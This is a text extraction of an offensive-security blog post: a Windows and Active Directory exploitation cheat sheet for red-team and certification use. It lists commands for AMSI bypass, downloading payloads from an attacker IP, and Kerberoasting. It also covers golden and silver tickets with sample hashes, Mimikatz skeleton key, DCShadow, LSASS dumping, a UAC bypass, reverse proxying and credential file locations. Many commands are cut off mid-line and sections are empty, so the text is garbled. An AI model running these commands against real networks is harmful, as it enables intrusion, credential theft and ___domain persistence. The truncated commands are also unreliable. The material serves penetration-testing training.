AD and Windows Exploitation Cheat Sheet
AD and Windows Exploitation Cheat Sheet
minutes
Table of Contents
General
PowerShell AMSI Bypass
PowerShell one liners
Enumeration
AD Enumeration With PowerView
AppLocker
L APS
Exploitation
Powercat reverse shell
Lateral Movement
Lateral Movement Enumeration With PowerView
BloodHound
Kerberoasting
AS REP roasting
Token Manipulation
Mimikatz
Command execution with schtasks
Command execution with WMI
Command execution with PowerShell Remoting
Unconstrained delegation
Constrained delegation
Resource based constrained delegation
Abusing ___domain trust
Abusing inter forest trust
Abusing MSSQL databases for lateral movement
1/31
Privilege Escalation
PowerUp
UAC Bypass
Persistence
Startup folder
Domain Persistence
Mimikatz skeleton key attack
Grant specific user DCSync rights with PowerView
Domain Controller DSRM admin
Modifying security descriptors for remote WMI access
Modifying security descriptors for PowerShell Remoting
access
Modifying DC registry security descriptors for remote hash
retrieval using DAMP
DCShadow
Post Exploitation
Dumping secrets with Mimikatz
Dumping secrets without Mimikatz
Disable defender
Chisel proxying
Juicy files
Updated March th
This blog post has been updated based on some tools and
techniques from Offensive Security’s PEN course for the
accompanying OSEP certification Notable changes have been
made in the sections on delegation inter forest exploitation and
lateral movement through MSSQL servers Some other changes
and clarifications have been made throughout the post
That being said it is far from an exhaustive list If you feel any
important tips tricks commands or techniques are missing from
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 2/31
this list just get in touch I will try to keep it updated as much as
possible!
Many items of this list are shamelessly stolen from Nikhil Mittal
and the CRTP/CRTE curricula so big thanks to them! If you are
looking for the cheat sheet and command reference I used for
OSCP please refer to this post
Note I tried to highlight some poor OpSec choices for typical red
teaming engagements with 🚩 I will likely have missed some
though so understand what you are running before you run it!
General
PowerShell AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.Ams
[Delegate]::CreateDelegate(("Func``3[String, $(([String]
Proxy aware
Ensure that the referenced class and main methods are Public
before running this Note that a process wide AMSI bypass may
be required for this refer here for details
Download file
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://1
# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -Out
Encode command
[System.Convert]::ToBase64String([System.IO.File]::ReadA
Enumeration
AD Enumeration With PowerView
5/31
# Get all computers in the current ___domain
Get-NetComputer
# Get computers in an OU
# %{} is a looping statement
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -A
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 6/31
# Get interesting outgoing ACLs for a specific user or g
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityR
AppLocker
LAPS
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 7/31
Exploitation
Powercat reverse shell
Lateral Movement
Lateral Movement Enumeration With PowerView
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 8/31
# Look for users or computers with Constrained Delegatio
## If available and you have user/computer hash, access
Get-DomainUser -TrustedToAuth | select userprincipalname
Get-DomainComputer -TrustedToAuth | select name,msds-all
BloodHound
Kerberoasting
Automatic
With PowerView
Manual
AS REP roasting
Get the hash for a roastable user see above for hunting Using
ASREPRoast.ps1
Token Manipulation
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 10/31
be achieved by using e g CobaltStrike to inject into said
processes
Incognito
Invoke TokenManipulation
Mimikatz
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 11/31
# Silver ticket for a specific SPN with a compromised se
kerberos::golden /user:Administrator /___domain:___domain.loca
To create a task
To trigger it
From Windows
From Linux
# with password
impacket-wmiexec dcorp/student355:[email protected]
# with hash
impacket-wmiexec dcorp/[email protected] -hashes :
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 12/31
Command execution with PowerShell Remoting
Unconstrained delegation
Exploitation
Or with Rubeus
.\Rubeus.exe klist
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]
The TGT for the machine account of the DC should come in in the
first session We can pass this ticket to gain DCSync privileges
Constrained delegation
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 14/31
hash and is useful in situations where Kerberos isn’t used
between the user and frontend
Exploitation
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 15/31
In this scenario s4u2self and s4u2proxy are used as above to
request a forwardable ticket on behalf of the user However with
RBCD the KDC checks if the SPN for the requesting service i e
the frontend service is present in the msDS-
AllowedToActOnBehalfOfOtherIdentity property of the backend
service This means that the frontend service needs to have an
SPN set Thus attacks against RBC have to be performed from
either a service account with SPN or a machine account
Exploitation
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 16/31
Abusing ___domain trust
Make sure you have the right version of Rubeus For some
reason some of my compiled binaries were giving the error
KDC_ERR_WRONG_REALM while the CRTP provided version
worked without issue
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 17/31
If you are having issues creating this ticket try adding the
‘target’ flag e g /target:moneycorp.local
kerberos::golden /user:Administrator
/___domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
1874506631-3219952063-538504511
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-
280534878-1496970234-700767426-519 /ptt
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 18/31
trust key as in ‘Using ___domain trust key’ above
Use Mimikatz to generate a TGT for the target ___domain using the
trust key
Then use Rubeus to ask a TGS for e g the CIFS service on the
target DC using this TGT
Now we can use the CIFS service on the target forest’s DC as the
DA of our source ___domain again as long as this trust was
configured to exist
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 19/31
commands on linked databases even through multiple layers of
database links
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 20/31
Example command to relay the hash to authenticate as local
admin if the service account has these privileges and run
calc.exe Leave out the -c parameter to attempt a
secretsdump instead
Privilege Escalation
For more things to look for both Windows and Linux refer to my
OSCP cheat sheet and command reference
PowerUp
UAC Bypass
Using SharpBypassUAC
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon
In some cases you may get away better with running a manual
UAC bypass such as the FODHelper bypass which is quite simple
to execute in PowerShell
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 21/31
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recur
Persistence
Startup folder
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\St
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sta
Domain Persistence
Must be run with DA privileges
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 22/31
privilege::debug
misc::skeleton
New-ItemProperty "HKLM:\System\CurrentControlSet\Control
Now we can login remotely using the local admin hash dumped on
the DC before with lsadump::sam see ‘Dumping secrets with
Mimikatz’ below Use e g ‘overpass the hash’ to get a session
see ‘Mimikatz’ above
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 23/31
Set-RemotePSRemoting -UserName student1 -ComputerName dc
DCShadow
lsadump::dcshadow /push
Post Exploitation
Dumping secrets with Mimikatz
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 26/31
## Then run the initial dpapi::cred command again to get
the juice!
Dumping LSASS
sekurlsa::minidump lsass.dmp
We can dump secrets from the registry and parse the files
“offline” to get a list of system secrets 🚩
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/ 27/31
3/11/2021 Windows & Active Directory Exploitation Cheat Sheet and Command Reference :: Cas van Cooten — I ramble about security stuff, mostly
Disable defender
👀🚩
Chisel proxying
28/31
./chisel server -p 8888 --reverse
On target
On attacking machine
Juicy files
# Web.config
C:\inetpub\www\*\web.config
29/31
# Unattend files
C:\Windows\Panther\Unattend.xml
# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty
# FileZilla creds
C:\Users\
[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml
# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml
30/31
©
CC BY NC
31/31